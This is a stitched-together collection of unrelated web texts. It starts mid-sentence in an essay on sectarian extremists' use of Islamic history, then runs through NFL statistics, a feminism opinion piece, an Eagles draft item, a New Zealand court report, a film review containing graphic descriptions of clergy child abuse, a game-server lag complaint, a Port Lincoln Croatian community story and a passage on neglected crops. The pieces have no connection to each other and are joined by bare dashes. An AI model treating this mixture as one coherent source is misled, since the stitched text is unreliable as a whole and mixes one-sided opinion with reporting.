for “starting it” but had it not been for Shia heavy handedness against the Sunnis in Iraq and Syria, then Zarqawi’s heirs may not have found an opportunity to stage a comeback. Shi’ism, at heart, is a movement of restitution. Throughout the ages the Shias have justified their cause by citing what they perceive to be Sunni persecution of Muhammed’s dynasty, one whose claim to power was usurped, principally by the first three caliphs. They can cite one incident after another, stretching back 1,400 years, of how the prophet’s family had been wronged. The seminal event occurred in Karbala, on the day of Ashura, in 680 AD. Muhammad’s grandson, Hussein, was massacred along with most of his family. The battle is re-enacted every year among Shia communities, in all its gore and drama, so much so that those portraying the bad guys may get assaulted and chased down through the streets by incensed mobs. History is ever-present, or as one Shia thinker coined it, “Every land is Karbala, every day is Ashura.” The fabric of time collapses and folds unto itself as the past is intensely remembered while the future draws nearer with the eschatological expectation of the savior, the Mahdi, descended as he is from Hussein’s loin, who shall right all wrongs. But should his arrival be delayed, Shi’ism can rapidly mobilize for the purpose of revanchism, striking back at the wrong-doers. We are witnessing such as an outbreak now, one that some Shia strategists in Tehran would like to see reshaping the Middle East. I have termed it ‘Shia chauvinism’ whose endgame would be to partition off Shia majority cantons around the Middle East, because Shias cannot go on living with Sunnis in unitary countries. There was too much bad blood, too much history, between the two sects. The phenomenon of Shia chauvinism did not crystalize in my mind until I saw a photograph on the internet in 2012. The picture depicted a religious procession of Shia Iraqis, either in Iraq or somewhere in Iran, brandishing a banner. The banner had the visage of then Iraqi Prime Minister Nouri al-Maliki under the caption: “Support the Mukhtar of our age.” The Mukhtar being referred to is a historical character who led a revanchist campaign against those who had participated in the Karbala massacre. He defeated some in battle, executed others, and arranged for the assassination of more. As avengers go, al-Mukhtar was a superstar in populist Shia lore, and the banner was suggesting that Maliki is his rightful successor as the Shia avenger against the Sunnis in our day. But just in case some had missed the connotation, the banner also depicted the Iranian actor who had portrayed the character of al-Mukhtar in a big production TV series first released in 2010 over the course of forty episodes. The Farsi language series was epic and very well made, dubbed eventually in Arabic, Urdu and other languages and shown across the Shia world. Someone was purposely reminding Shias of this historical precedent, and Maliki’s supporters, carrying that banner, were drawing a link between their man and a historical hero. When I first saw that picture I thought that they had gone too far. That this picture would surely damn Maliki’s new line in mainstream Shia public opinion, one that could not possibly advocate wide revenge or strong-arm tactics against Sunnis. I was wrong. A large segment of Iraqi Shias thirsted for revenge following the excesses of Zarqawi and his heirs, even after the Sunni insurgency was soundly defeated in 2008-9. They wanted Sunnis humiliated. A year afterwards, Maliki’s political machine was commissioning songs that play up the ‘Mukhtar of our age’ appellation. The slogan was successfully put to use in the 2014 election cycle, the outcome of which gave Maliki a plurality of the vote. But it also gave us the ISIS comeback in Falluja in January 2014 (before the vote), and the fall of Mosul (after the vote). Shia chauvinism had also mobilized Shias from Iran, Iraq, Lebanon and even Afghanistan to rally behind the pseudo-Shia Alawite regime of Bashar al-Asad in Syria to face off against the Syrian Sunnis challenging him. Sectarianism breathed new life in the jihadist cause there, riding a desire for Sunni restitution and revenge in Damascus. Seen through the prism of history, it all made sense to the target audiences: war was inevitable; the enemies of the past were standing in the way of the future. By enveloping themselves in the cloak of history, the extremists from both sides can radiate an aura of certainty. This certitude will make it very difficult to convince them of the need for reconciliation, both with the past and with the present. It also means that it will be very difficult to convince them that they are losing, or have lost. By citing precedent and conspiracy, they can explain away setbacks. They can tell themselves that they got the recipe wrong somewhere, and all they need to do it to go back to the basics to try and try again until it gets going. The stench of past glories, the musky manuscripts that speak of ancestral feats, the decay of once-glorious cities, excite their senses. It is excessively hard to let go of the legacy of greatness. Its loss gnaws at them. It haunts them. They will keep trying. As far as the jihadists are concerned, they were left for dead in 2009. They were thought to be a spent force, its remnants living out a precarious existence in the deserts of Iraq. Then they came back. They made no excuses for the doctrinal overreach of declaring the Islamic State in 2006 that had turned so many other jihadist and Salafist groups against them. They felt they were right all along, and that their temporary setbacks mirrored ones that Muhammad had experienced himself. Not only did they make no excuses, but this time around they called a spade a spade: “Yes, world, this is the caliphate resurrected” they proclaimed. Their righteousness and certainty was foretold by precedence. History is their refuge, their sanctuary. They stand on firm ground. And if that terrain goes unchallenged, they will keep coming back. But it is not all doom and gloom: It just so happens that challenging them on the received facts of history is easier than what many may imagine. Back in January, some three hundred moderate Muslim scholars gathered in Morocco to reaffirm the ‘Charter of Medina’. They did so to counter the excesses of the Islamic State against minorities such as the Christians and Yezidis who had the misfortune of falling under the new caliphate. The Charter of Medina was a constitution enacted by Muhammad to manage relations with non-Muslims like those Jewish tribes that lived in close proximity to his flock. The moderates called their reaffirmation ‘The Marrakesh Declaration’ after the city in which they met. Cardinal Theodore McCarrick, the retired Archbishop of Washington who attended the meeting said, somewhat grandly, “This declaration can change the whole face of Islam.” He walked it back a bit to add, “Not change it, but bring it back to where it was.” But there is a problem with “where it was” for that was the springboard, the solid ground, used by the extremists to leap forwards into their ambitious doctrinal ventures. Not only that, but the moderates must contend with the extremists on a terrain that is advantageous to the latter. The moderates must argue that history should be interpreted in a new way, to reflect the spirit of the times then and now. Meanwhile, the extremists don’t need to prevaricate or qualify: their read-out of the text is literal. They do as it says. Why would the moderates need to second-guess the prophet or the early caliphs? Why not simply follow the historical precedent to the letter? After all, it worked back then, and going back to the basics might work again. They can refer to the same Charter of Medina to say that Muhammad’s venture eventually outgrew it, finding excuses to deport some Jewish tribes from the town, and to annihilate others. The jihadists earn points for being succinct and straightforward. After all, they have had centuries to figure out all the polemical angles and history is their impregnable bastion. The simplest literal read of history is a winning argument too. What if there is a way by which we do not have to take the Charter of Medina at face value? There is no original, extant copy of the Charter of Medina under a glass display case in a well-guarded museum somewhere. We cannot even be sure if it was a written document at Muhammad’s time, or whether it was a verbal agreement as was the custom then. What we think we know about the Charter was jotted down, ink on parchment, 150 to 200 years after the event. That is the period when comprehensive chronicles of early Islam were written down, relying for the most part on oral transmission. One of those chroniclers, laboring six generations after the first community of Muslims had passed, may have seen an earlier, written charter somewhere, but again, we cannot know for sure. Our hearts should go out to that chronicler: difficult as it is to recall what one did last Tuesday, it is surely a heavy burden to recall the events on a Tuesday two hundred years ago. But that is precisely why the history of early Islam is enveloped in the fog of doubt. One need not worry though, because for the last two hundred years, Western scholars (whose discipline was dubbed ‘Orientalism’) took on the task of studying how that history was chronicled. They worked laboriously, with difficult languages, to figure out all the analytical angles. They have engaged in furious debates and disagreements, as scholars do, and they have made their respective cases in thousands of books, papers and symposia. Their work continues, with fascinating and insightful research coming out in print in recent years. At points, they were enjoined by Middle Eastern scholars who used those same methodologies that had been developed in the academies of the West—historiography, critical literary analysis, philology, archeology, exegesis, codicology, etc.—to delve into the fog. But such native efforts were sporadic, hesitant and ultimately minimalist compared to the corpus of work being done by German, Italian, British, Dutch, French, Russian, American, and the odd Czech and Hungarian Orientalists—and for good reason. The academies of the Middle East, as well as the general public discourse on history, were generally not amenable to raising doubt. Some of the most risqué works, written in Arabic, had to be published posthumously. Some authors were forced into exile or imprisonment. Some other authors were killed. Their counterparts in the West, on the other hand, could work freely, for the most part. In his book Islamic History: A Framework for Inquiry (1991), University of California, Santa Barbara professor R. Stephen Humphreys presents a case study in which he marshals the arguments made by various Orientalists over the course of a century regarding the Charter of Medina. Some took it to be authentic, making a rational case for why they would think so. Others argued that it could not have been a unitary document or agreement, suggesting that it was amalgamated into one from a variety of separate agreements. Still others dwelt on the wording, and some of the terms used, and they could not reconcile this document to what they would deem to be plausible wording and terminology during seventh century Central Arabia. After a century’s worth of study, what scholars are left with is intellectual angst: “We will never know for certain.” That is the expected lament of historians that have to deal with events that far back without any extant or contemporary evidence; they have to resign themselves to living with doubt. Now, consider the angst of the historian versus the certitude of the Islamic extremist when revisiting history. Surely that fog of doubt should have a place in the conversation when history is used so deliberately and, at times, horrifically to justify extremism. Consider another document, that of the aforementioned ‘Pact of Omar’ that the proto-caliph of the Islamic State had so dramatically annulled in 2007. Yet again there is no extant copy of this pact, and all that we know about it was written many decades after it was allegedly drawn up. However, in this case, most scholars have come around to the view that it is not authentic, and that it could not have been a seventh century document that can be attributed to the original Omar. Not only that, but we have a short book written in Arabic by an Egyptian historian, published in the mid-nineties in Cairo, who conclusively determines that the pact is a forgery. The historian revisited the studies that the Orientalists had conducted into the authenticity of the pact, and expanded upon their efforts by employing indigenous Muslim methodologies of exegesis that qualify the reliability of oral reports about early Islam by studying the chain of transmission. Muslim theologians, polemists, and chroniclers had uncovered thousands of falsified reports over the span of centuries by employing these methods. By bringing both Western and Muslim disciplines together, the Egyptian historian stood on solid ground when crying foul. Shouldn’t his book have been part of the conversation about the historicity of the pact when Abu Omar so confidently annulled it? Abu Omar may have looked foolish then, or in the very least he would undermine his own certitude when having to explain why he believed the ‘original’ pact to be authentic; the ground he stood on would not seem as firm. We can also demonstrate that the flag of the Islamic State is also a forgery. They don’t have an original version that we can verify through carbon dating. Theirs is an imagined banner that they have attributed to Muhammad’s armies. Even the seal of the prophet at the center of the flag, which they seem to have derived from a letter of his bearing it, is likely to be a forgery, since the letter itself is widely believed to be a forgery. The fog of doubt permeates much of the historical record. If properly harnessed, it can cast a shadow on much of the extremist narrative. The character of Ibn Saba, the Jew who invented Shi’ism, may well have been a fabrication. A strong case has been made suggesting that medieval polemists concocted him out of thin air and inserted him into the historical record. We can demonstrate this because some Orientalists conducted serious and in-depth academic forensics about him and about the fabricators. What about the letters that Muhammad had sent to the emperors of the Middle East that Abu Omar had mimicked in wording and in tone? Those letters too are not extant, and it is perplexing that we have no contemporary reports by non-Muslims at those imperial courts that remarked upon the fact that a new religion had announced itself so dramatically. The character of al-Mukhtar that Maliki’s followers had championed is a problematic figure for Shi’ism, should we actually revisit what Shia sources say about the topic. The sole male survivor from the battle of Karbala, Hussein’s son who would become the fourth Imam of Shi’ism, did not express much gratitude for what the avenger had wrought on Hussein’s murderers. He considered al-Mukhtar to be a liar and braggart, pushing his own agenda for power. Again, shouldn’t these impressions of al-Mukhtar have been part of the conversation when Shia chauvinists resurrected his legacy and rehabilitated his image as part of a strategy to redraw the lines in the region? A war rages in the Middle East. A physical war premised on a war of ideas and revolution. Ambitious actors are adeptly launching large-scale plans for statecraft, ones that are imperial in scope. They understand the value of propaganda in war. They have leveraged the historical record as a centripetal force that mobilizes youths across the region, and as precedent for how to build out their ventures and grandiose visions. They exude supreme certainty in that they are walking in the right path back to redemption and greatness, once lost but now within reach—or so they believe, truly believe. They are aided in doing so because their target audiences have been primed to receive this propaganda, one that pushes all the right buttons. Yet whereas extremist Sunnis and Shias have successfully weaponized history, those of us—Middle Easterners of all denominations, as well as many other nations around the globe—who feel threatened by their ambitions can resort to weaponizing historiography. The history of Islam is long overdue for a public conversation among Muslims as to what role it should play in their present and future. Regular people in Muslim lands should have access to the various opinions, even those emanating from Western scholars, about their own history, even though it may raise doubts concerning the authenticity of the historical narrative. A faith grappling with the challenges of modernity must be willing to live with a healthy dose of doubt. But that is a medium to long-term process that needed to start yesterday. We need to deploy doubt in a systematic and relentless manner right now to jam up the polemical weaponry of the extremists. Doubt, angst and cognitive noise should rain down like arrows into the bastions of ideological certainty upon which the extremists stand defiant. Orientalism carries a stigma among left-leaning Western academies, where it is widely believed to have served Western imperialism. Orientalism is rejected by like-minded leftists in the Middle East for the same reasons. Columbia University’s Palestinian-American literary critic Edward Said, the late author of the supremely influential book Orientalism (1978)—which almost single handedly managed to turn its title word into an academic pejorative—boasts the distinction of being the sole intellectual luminary from around the world to have two portraits, not one, hanging on the walls of the Writers’ Café in old Basra, where crusty old Marxists gather for tea and conversation. Conservative and religiously-minded Muslims, on the other hand, believe that the field of Orientalism is part of a Western effort to undermine their faith. One can find 200 Arabic books on the internet available for full download that attack the Orientalists. Many are parked on websites amply funded by conservative Arab regimes. Yet even so, the scholarly methodology of applying critical analysis to the historical record is ‘agenda neutral’, and it is desperately needed in light of the extremist use of this record. Two hundred years’ worth of scholastic legacy is parked on bookshelves in Western libraries. Little of it is available online. Much less of it has been translated into the languages spoken in the Middle East. If the internet is supposed to be the great equalizer of content, then why is there such a disparity when it comes to a sober and systematic conversation about early Islam? Why is this the case at a time when many young Muslims are watching what extremism has wrought and asking themselves “is this really our religion”? The extremist affirmation that it is indeed “our history, refer to page X, paragraph Y in such and such book” goes unchallenged. Many of those young Muslims have not been trained to take on the task of revisiting the historical record themselves. There is no funding from the local powers-that-be for it. However, they need not start from scratch. Parts of the Orientalist methodology and its output can be made available for them, online and in their languages, and should. Whichever way the subsequent conversation goes is left to them. But a conversation needs to begin somewhere, and on solid scholastic ground. Should it be somewhat controversial may actually be helpful. That controversy could provide the drama that matches the theatrics of the extremists. I wish I could back to that mountainside café, but this time armed with a particular book. The cantankerous proprietor may still be around, or he may have succumbed to old age, leaving his grandson in charge—probably a scion of his grandfather’s rage. I would wonder whether this young man had seen much fighting in the civil war, raging downhill in the valley, or had heard many war stories from brothers and cousins dragooned into that existential fight. I would wonder how many young Iraqi, Iranian, Lebanese, and Afghan Shias had enjoyed a respite from the fighting while sipping coffee under the shade, rifles at their feet, across the road from that caper berry bush that had drawn me to this spot in the first place. They had ostensibly come to Syria over the last five years to protect Shia shrines from being desecrated at the hands of extremist Sunnis, to keep the bones of their saints safe from exhumation. That is what the young men had been told. What they were really doing there was to prop up Asad’s regime, for that is what extremist Shia strategists in far-away Tehran had ordained. I would arrive with a book called The Shrines of ‘Alids in Medieval Syria by Stephanie Mulder (Edinburgh University Press, 2014). Ideally, someone would have gotten the copyright to translate it into Arabic, so I would be carrying a version of it in that language. The book is mostly concerned with architecture, but there is a valuable subtext in there: most of the Shia shrines studied in the book were erected and subsidized by powerful Sunni patrons back in medieval times. Those Sunnis venerated the shrines as much as modern Shias do, even though some modern Sunni extremists are keen on blowing them up. I would conveniently forget the book there, leaving it on one of the chairs. The old man, his grandson, or even those transient fighters from the Shia internationale may rifle through its pages, driven by sheer curiosity, for this is a book written by a Westerner about their beloved shrines. One or two of them may pick up on the subtext to infer that not all Sunnis are so bad, after all. Or maybe that is too much to hope for after all they had been told, and after all that they had seen. Yet with the din of battle thudding in the background, it seems it would be worth a try. This essay is drawn from remarks delivered by the author at the Westminster Institute in McLean, Va., on June 1, 2016. Download a PDF copy of the essay here. -For seven years, Gary Barnidge was one of the hundreds of nondescript players in the NFL. He played in 92 games for two teams, but logged just 25 starts. He caught 44 passes for 603 yards, an average of less than 100 yards a season, with just three touchdowns. He averaged 6.6 yards per game during this seven-season stretch in his 20s. But Barnidge turned 30 on September 22nd, and then transformed into one of the most dominant tight ends in the NFL. Barnidge has played in six games since his 30th birthday, and has caught 36 passes for 512 yards and 6 touchdowns. Let’s say Barnidge finishes the season with 1,000 yards in 16 games. That would mean his career average in receiving yards per game will have jumped from 6.6 to 14.8, a pretty remarkable increase for a player in his eighth season. In fact, Barnidge would become just the third player to have his career receiving yards per game double at any point after their fifth season in a year where they gained at least 500 receiving yards. The last player to do so is Jim Jensen, a utility football player for the Dolphins who saw time at quarterback, running back, wide receiver, and tight end in his career. In his 20s, he totaled just 414 receiving yards in seven seasons, but he broke out in 1988 with 58 catches for 652 yards and five touchdowns. The other is Pat Curran, who caught just 9 passes in 66 games in six years with the Rams. Then, before his age 30 season, he was traded to San Diego, where he gained 619 receiving yards in 1975. Another query I ran was to look at players who had 600 yards in a season and 65 career games after that season. Then, among that group, I checked to see which players increased their career receiving yards per game by the largest multiple. Curran topped that list, followed by the Jets Jo-Jo Townsell (he averaged 4.7 receiving yards per game through his first four seasons, then 49.2 in his fifth) and Todd Christensen (0 yards in his first two years, 115 in his third, 510 in his fourth, and then 1,247 in his fifth). Barnidge will likely pass Christenen via this method by the end of the year. Here’s another way to think about it. Let’s say Barnidge finishes with exactly 700 receiving yards this season in 16 games. That would bring his career average to just 12.1 receiving yards per game, the lowest career average in NFL history by any player after a 700-yard season. The current record-holder there is Townsell, and Barnidge would hold that honor even if he gained 940 receiving yards this year! The lowest career yards per game average by a player after recording at least 800 receiving yards in a year? That mark is held by Kevin Walter (2007 Texans, 16.7), but Barnidge will almost certainly break that. At 900, the record holder is Clifton McNeil (1968 49ers, 22.1), and at 1,000, it’s Wallace Francis (1979 Falcons, 23.9). Remember: if Barnidge gets 1,000 yards in 16 games, his career average will be just 14.8 yards per game! If we drop the threshold to 600 yards, Curran is the record holder at 6.98 yards per game. Given the environment — 1975 was close to the nadir for the passing game — his 619-yard season in 14 games was probably as mind-boggling as what Barnidge is doing now. He ranked 4th in receiving yards and 3rd in receptions among tight ends that year. But in what is quickly becoming a lost year for the Browns, Barnidge’s breakout season is one incredibly story. -Feminism (in India and globally) suffers the same problem a lot of political and social movements face - blind advocacy. Feminism does not mean: Women are better All men are evil Women and men are equal in every measure What true feminism implies is that men and women should be treated with the same amount of respect, should be accorded equal rights, and should not face any discrimination whatsoever based purely on gender differences. When Deepika Padukone, in the “My choice” video said, “To marry or not to marry, to have sex before marriage, to have sex outside of marriage, to not have sex, my choice..”, I cried out in agony. To have sex outside of marriage is cheating - plain and simple. When companies promote female employees over male employees just because they want “greater women representation in senior management”, it is preferential treatment. Expecting men to stand up in buses and train and offer their seats to equally capable female travelers is not feminism - it is a misplaced sense of chivalry. I recently saw people championing equal reward money for men’s and women’s Grand Slam titles. That is not feminism, that’s being opportunistic. The prize money for anything competitive should directly be proportional to the revenue it generates. All of these issues go away the minute people start thinking logically about it. And by being slightly malleable in our convictions. Are men and women equal? Philosophically, yes. But there indeed are differences. Men are physically stronger, women are more flexible and graceful. Should men and women have equal rights? Absolutely, with some exceptions of course. For example, the right to decide whether to abort or not should lie with the female sex. Should men and women be compensated equally? If they have the same qualifications, same aptitude, and they put in the same amount of effort, definitely. However, not just for the sake of putting up a front of being equitable. Don’t quote flawed studies that say that women on average earn 30% less than men. Did the study control for all variables - education, tenure, expertise? Did they even try and analyze comparable figures or did they just calculate the average of earnings by men and women in a country? Feminism falls victim to the same 2 human fallacies that most social revolutions do: the futile attempts of humanity to delineate everything as either black or white, whilst in reality, the world is just a never-ending gradient of grey the uncanny human ability to selectively focus on issues and points and arguments that support their convictions and disregard the ones they don’t, irrespective of their veracity And it’s again just a bunch of rotten apples who have managed to derail what was once a noble cause. -The Eagles hosted a number of top quarterback prospects on pre-draft visits this year. It's not hard to see why. Philadelphia clearly planned on drafting one all along and now they're in perfect position to do that after trading up to the No. 2 pick. Signs point to the Birds drafting Carson Wentz with the second overall pick assuming the Rams go with Jared Goff at No. 1. Whoever the Eagles pick, the Eagles will have clearly done their homework on him. And possibly even more so than other teams looking at quarterbacks. According to one passing prospect, the Eagles are a little more thorough than other teams in their pre-draft visits. Mississippi State quarterback Dak Prescott told NFL.com about his visit to Philly this year. Pre-draft visits for NFL draft prospects don't tend to vary too much. They buzz into town for a day or less, meet with coaches and team officials, maybe take a quiz on a playbook, meet a few potential future teammates, and head back to the airport. That changed for Dak Prescott in Philadelphia. The Eagles put him through a mock press conference to assess his ability to handle tough questions from reporters. "They wanted to get a feel for how I would represent the team. Obviously as a quarterback, you're going to be the face of an organization, so it was important to them to see how I would react to different questions. That was the most unique thing I've done (at a visit)," Prescott said. It wasn't so much a test of Prescott's postgame demeanor; the mock setting had more of a post-draft feel, as if Prescott was speaking to reporters for the first time after being selected by Philadelphia This doesn't surprise me one bit. Philly media isn't like media everywhere else in the country. There are always a ton of reporters at Eagles games/practices/etc. They're not afraid to ask tough questions, either. I can imagine why the Eagles would want to see how these prospects might react to their new environment. This kind of test is especially relevant for a kid like Wentz who grew up and lived in North Dakota all his life. Being a quarterback is about more than just a passer's talent on the field. It's also about how they carry themselves as a leader and face of the franchise. -Nelson's infamous horse and cart man has been jailed for two months for breaching community work requirements. Photo: RNZ / Alison Hossain Lewis Reginald Stanton, also known as Hone Ma Heke, frequently parked his horse-drawn vehicle in the central city. Stanton, who has been in ongoing disputes with the Nelson City Council for nearly 14 years, was sentenced in March to 400 hours of community work for failing to pay more than $50,000 for traffic infringements, mostly parking fines. But he refused to do community work and failed eight times to report to the probation office. He claims the council has violated his human rights by enforcing restrictions on his alternative lifestyle. Sentencing him, Judge Denys Barry told him he had engineered the situation he now finds himself in, by deliberately closing the door on any community-based sentence. Lewis Stanton said he would be appealing the decision. He said it was about the bigger picture. "It's about standing up for people's rights, not just my rights but other people's rights as well, because if the Nelson City Council is allowed to get away with doing what they're doing then they'll be doing the same to everybody else - and if the Nelson City Council can get away with it, so too will every other council." His horse will be looked after by friends while he is in prison. Earlier this week, a High Court judge quashed an injunction taken out by the city council to stop him entering the central city, saying it was unnecessary, partly because there was a process and bylaws to deal with parking infringements. -Even if you think you know the sordid details of the sex scandal concerning predatory priests in the Roman Catholic Church, director Alex Gibney’s Mea Maxima Culpa: Silence in the House of God is eye-opening. In fact, it should be compulsory viewing for all Catholics, whether they blame or defend the church, for its clarity and insight into just who holds responsibility for decades of child abuse at the hands of clergy. Gibney does not rely on the usual broad strokes of anti-priest propaganda that has come to define this scandal. Instead, he meticulously attends to the details of the biggest cases, giving voice to the victims and even revealing the rarely heard frustration by the “good priests” who tried to stop the sins of their colleagues. Gibney opens with scenes that any Catholic will recognize immediately: crisp white dresses of little girls making their first communion, burning candles as altar boys prepare for mass, the haze of smoke so familiar one can almost smell the incense. Then he reveals what’s going on. He uses family movies, faded pictures, and actors to paint a portrait of how innocent children were offered up like sacrificial lambs to known “devils in disguise” by unwitting parents who blindly trusted a church they believed would protect them. The film, which has been banned from festivals in Venice and Rome, focuses heavily on the well-documented abuse at St. John’s School for the Deaf in St. Francis, Wis., where Father Lawrence Murphy systematically molested young boys beginning nearly 50 years ago. Gibney uses both voiceover and subtitles for the victims’ stories, but he leaves the audio high to better articulate the sound of the men’s hands as they fervently sign their tales. One doesn’t need to read sign language to comprehend the pain and disgrace these men suffered. Some vignettes are nauseating, like one in which a victim says he was chosen by Father Murphy while watching Bambi in a dark theater. He felt Father Murphy bumping the back of his head for attention throughout the film. Years later, he realized that it was Murphy’s erection he felt against the back of his neck. Other men tell tales of how Murphy masturbated them in the confessionals, which in the school for the deaf had an opening between priest and penitent in order to facilitate visual communication through sign language. One man remembers Father Murphy telling him that ejaculation relieved him of his sins. Gibney illustrates the acts of abuse through hazy images and shadowy figures. Flowing cassocks catch the light as a figure meant to be Murphy tiptoes through the boys’ dorm late at night to find a boy to molest while the others lay still in their beds pretending not to notice. At one stage, according to a victim’s recollections, Murphy relocated the confessional at St. John’s from the tiny cabinet to a closet. Gibney illustrates the point with a young boy kneeling in front of a character portraying the priest. But he is not asked to pray. Instead, he is to open the priest’s cassock and perform fellatio. The film contrasts the vile acts with gorgeous visual imagery of Rome, Vatican City, and standard church icons like masterpiece portraits of the Virgin Mary, and Gibney captures so perfectly the rituals many Catholics identify with. It is just after those moments of Catholic comfort when Gibney hits hardest with a shocking scene or recollection from a victim about what was happening behind the altar. Through that quick transition from good to evil, Gibney manages to nail the vulnerability that Catholic guilt creates by exposing the almost Godlike esteem bestowed on the clergy—which is what keeps so many victims from coming forward and which makes so many families skeptical when they finally do. The plight of the vulnerable deaf children, especially, underscores how such a vital trust was betrayed. Mea Maxima Culpa also wags a condemning finger at Pope Benedict XVI, who in his previous capacity as head of the Congregation for the Doctrine of the Faith, would have seen reams of complaints about predator priests pass by his desk. Just how much the church knew is not in doubt for Gibney, who sprinkles in details of how the church quietly worked to combat the problem they had been dealing with for decades, including sending priests to a little-known monastery in New Mexico run by the Servants of the Paraclete, where they supposedly were treated for their sexual deviance before being reassigned to new parishes. And then there is a tale about the Vatican’s down payment to buy a Caribbean Island to house errant clergy—a plan scuttled after the media got wind of it. Insightful narrative from well-known Vatican followers in Rome and religious writers and lawyers in America fill in the gaps, providing analogies and observations about how the church does its business and how, for instance, church handlers had to teach cardinals to mention the victims first when talking about the known crimes, not to talk only about the priests. While the focus of the film is weighted heavily on Father Murphy’s sins, several other recognizable scandals are used to bolster the point that sexual abuse was not an anomaly that happened only in America. Gibney nods to the Irish church’s problems with a glance at Father Tony Walsh, an Elvis impersonator who sang with a group called All-Priests Show and was sentenced to 16 years for horrific sexual abuses, including tying a 7-year-old boy to an altar with a monk’s rope belt and sodomizing him. The film also highlights the case against a Mexican priest, Father Marcial Maciel Degollado, who founded the controversial Legionnaires of Christ and who was highly influential in the Vatican hierarchy because of his group’s impressive financial contributions. Maciel, who died in 2008, was a known pedophile who was accused of sexually abusing up to 20 seminarians. He was also a documented philanderer who fathered several children with various women. He was protected for years by the Vatican’s former secretary of state, Angelo Sodano, who was able to keep Maciel shielded from criminal prosecution as long as the money kept rolling in. (Sodano has disavowed any cover-up; in 2010, he dismissed such allegations as “petty gossip.”) The film, produced by HBO Documentary, will be in theaters this fall and on HBO next year. In the meantime, the Vatican is typically silent on the subject. When reached for comment, a Vatican spokesperson told The Daily Beast that no one there had yet seen the film, so it was impossible to say what they really thought of it. Instead, the spokesperson suggested reading a letter written by Father Raymond de Souza in 2010 in response to allegations against Father Murphy reported in The New York Times at the time. The church flatly denies direct responsibility for the decades of alleged abuse. Gibney’s chilling subject matter likely won’t make for a box-office hit. In any case, this is the type of film one watches in the quiet of one's home, with a remote control in hand to pause when the details are just too vile. -This issue is caused by the Irish servers. Our clan server is for some reason migrating every evening to Ireland from Netherlands, DICE or EA hasn't given us any answer why it's doing this. When the server is in Ireland the server is lagging and rubberbanding so much that it makes the game unplayable. Is it then that Irish servers are routed badly? - Platform PC - Server Region: EU - Country: Finland - ISP: Telia - Game mode: Conquest - Map: All Maps - Average Ping: 30-40 - Warning Symbol appearing on screen (if applicable, see below): Server Performance Warning - I am experiencing lag (Yes / No): Yes - I am experiencing an issue where the kill, hit and death notifications show up delayed (Yes / No): Yes - Extra Info: Our clan server is located by default in the Netherlands, last couple of weeks it has migrated to Ireland every evening, when the server is located in Ireland the server lags and rubberbands, pings rise from normal 30-40 to 50-60. -What connection does Croatia have to tuna and a Melbourne Cup-winning horse? Posted The South Australian city of Port Lincoln is well-known for its word-class tuna, an Olympian weightlifter, and its connection to Melbourne cup winner Makybe Diva. Members of the local Croatian community have contributed to all of these achievements, forging a strong link between the fishing city and their home country. It is a link strong enough to merit a visit this week from Croatian president Kolinda Grabar-Kitarovic. The president is visiting the community on Friday, in what acting mayor Neville Starke said would be monumental for the city. "This is the first head of state from another country to visit Port Lincoln since 1954, and that person was Queen Elizabeth II," he said. "I think it's great for Port Lincoln. It puts us on the international map, and anything that promotes our city I think is fantastic." Why Port Lincoln? Australian Southern Bluefin Tuna Association chief executive Brian Jeffriess said the Croatian community at Port Lincoln developed fishing techniques and technology that had since been used in their home country. "What you ended up with was a range of Croatian entrepreneurs and drivers of systems in one little town in South Australia," he said. "These were people who invented a lot of fishing techniques worldwide, and a lot of them ended up in Port Lincoln." One such entrepreneur was the father of Port Lincoln Croatian Sporting Club president Diana Mislov. Ms Mislov invited Ms Grabar-Kitarovic to Port Lincoln following a discussion with the Croatian ambassador. "I did actually say Australia does go further than the east coast, don't forget regional south Australia," she said. Ms Mislov said Croatians started coming to Australia in the 1950s to escape a strict communist regime. "It was a war-torn country. There was no freedom of speech, no freedom of religion," she said. "It was just a very politically communist country. They just wanted to be able to be free to live their lives, and so many of our people did escape. "The first Croatians came to Port Lincoln, they were Ricov and Kolega boys. They started cray or tuna fishing, then followed sort of an influx of a lot of others. "A lot of them were refugees. They were escaping a communist country. My father was one of those people." Ms Mislov's father escaped and ended up in a migrant camp at Bonegilla, near Albury-Wodonga, and after moving around regional South Australia ended up at Port Lincoln. "The really sad thing about all of that is he never actually went back to see his parents," she said. "They actually passed away before he went back to Croatia in safer times." Croatians play integral role in town Having grown up away from the Croatian coast, Ms Mislov's father's attempt to become a fisherman was unsuccessful, so he moved into freight, driving cans of tuna to Melbourne. She said since then, members of the Croatian community had played an integral role in Port Lincoln's achievements and industry. "Port Lincoln Tuna Processors started out as a collaboration between several Port Lincoln Croatian fishermen, to can product," she said. "They've now actually diversified into gravy packaging and baby food packaging, that sort of pouch product. "Because of the sashimi market, tuna canning is not quite as prolific as it used to be." Other notable people in the Port Lincoln Croatian community include tuna and property baron Sam Sarin, Olympic gold medallist Dean Lukin, and the owner of racehorse Makybe Diva, Tony Santic. "The list is endless," Ms Mislov said. She said her father would have been ecstatic to know his daughter would be meeting the president, and remembered fondly a family road trip in 1995 to catch a glimpse of the then-president of Croatia in Melbourne. "I just can't believe that we're so lucky to be able to have the president coming to Port Lincoln to see us here in our home town," Ms Mislov said. "It's just phenomenal. I think my dad would be very proud." Topics: fishing-aquaculture, immigration, regional, people, port-lincoln-5606 -Neglected and underused crops are also known as orphan, abandoned, lost, underutilized, local, minor, traditional, alternative, niche, or underdeveloped crops[1] and more lately often referred to as forgotten or smart food. These crops are domesticated plant species that have been used for centuries or even millennia for their food, fibre, fodder, oil or medicinal properties, but have been reduced in importance over time owing to particular supply and use constraints. These can include, inter alia, poor shelf life, unrecognized nutritional value, poor consumer awareness and reputational problems (famine food or "poor people's food", sometimes due to the modernization of agricultural practices). Some crops have been so neglected that genetic erosion of their genepools has become so severe that they are often regarded as lost crops.[2] As the demand for plant and crop attributes changes (reappraisal or discovery of nutritional traits, culinary value, adaptation to climate change, etc.), neglected crops can overcome the constraints to the wider production and use. As a matter of fact, many formerly neglected crops are now globally significant crops (oilpalm, soybean, kiwi fruit). Although the options for scaling up neglected crops for large-scale agriculture appear to be increasingly exhausted, many species have the potential to contribute to food security, nutrition, dietary and culinary diversification, health and income generation. They also provide environmental services.[3] It is impossible to define what would constitute "proper" or "correct" levels of use; however, many neglected species evidently are underused relative to their nutritional value and productivity. Annona cherimola) on sale in Cali, Colombia. In left background: domestically produced mangosteen (Garcinia mangostana) Cherimoya () on sale in Cali, Colombia. In left background: domestically produced mangosteen ( Vigna subterranea) from Buzi district in Mozambique Bambara groundnut () from Buzi district in Mozambique Adding to that, orphan crops also helps in food security. Thus exist when all people at all times have physical and economic access to sufficient, safe, and nutritious food to meet their dietary needs and food preferences for an active and healthy life, especially during famine. Overview 